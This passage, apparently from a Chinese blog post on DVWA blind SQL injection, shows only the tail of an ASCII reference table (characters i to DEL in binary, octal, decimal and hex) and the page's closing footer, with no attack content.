| 0110 1001 | 0151 | 105 | 0x69 | i | 小寫字母i |
| 0110 1010 | 0152 | 106 | 0x6A | j | 小寫字母j |
| 0110 1011 | 0153 | 107 | 0x6B | k | 小寫字母k |
| 0110 1100 | 0154 | 108 | 0x6C | l | 小寫字母l |
| 0110 1101 | 0155 | 109 | 0x6D | m | 小寫字母m |
| 0110 1110 | 0156 | 110 | 0x6E | n | 小寫字母n |
| 0110 1111 | 0157 | 111 | 0x6F | o | 小寫字母o |
| 0111 0000 | 0160 | 112 | 0x70 | p | 小寫字母p |
| 0111 0001 | 0161 | 113 | 0x71 | q | 小寫字母q |
| 0111 0010 | 0162 | 114 | 0x72 | r | 小寫字母r |
| 0111 0011 | 0163 | 115 | 0x73 | s | 小寫字母s |
| 0111 0100 | 0164 | 116 | 0x74 | t | 小寫字母t |
| 0111 0101 | 0165 | 117 | 0x75 | u | 小寫字母u |
| 0111 0110 | 0166 | 118 | 0x76 | v | 小寫字母v |
| 0111 0111 | 0167 | 119 | 0x77 | w | 小寫字母w |
| 0111 1000 | 0170 | 120 | 0x78 | x | 小寫字母x |
| 0111 1001 | 0171 | 121 | 0x79 | y | 小寫字母y |
| 0111 1010 | 0172 | 122 | 0x7A | z | 小寫字母z |
| 0111 1011 | 0173 | 123 | 0x7B | { | 開(kāi)花括號(hào) |
| 0111 1100 | 0174 | 124 | 0x7C | | | 垂線 |
| 0111 1101 | 0175 | 125 | 0x7D | } | 閉花括號(hào) |
| 0111 1110 | 0176 | 126 | 0x7E | ~ | 波浪號(hào) |
| 0111 1111 | 0177 | 127 | 0x7F | DEL (delete) | 刪除 |
總結(jié)
以上是生活随笔為你收集整理的DVWA--SQL Injection (盲注)--四个级别的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 福建各市gdp排名,2021年福建各市G
- 下一篇: linux cmake编译源码,linu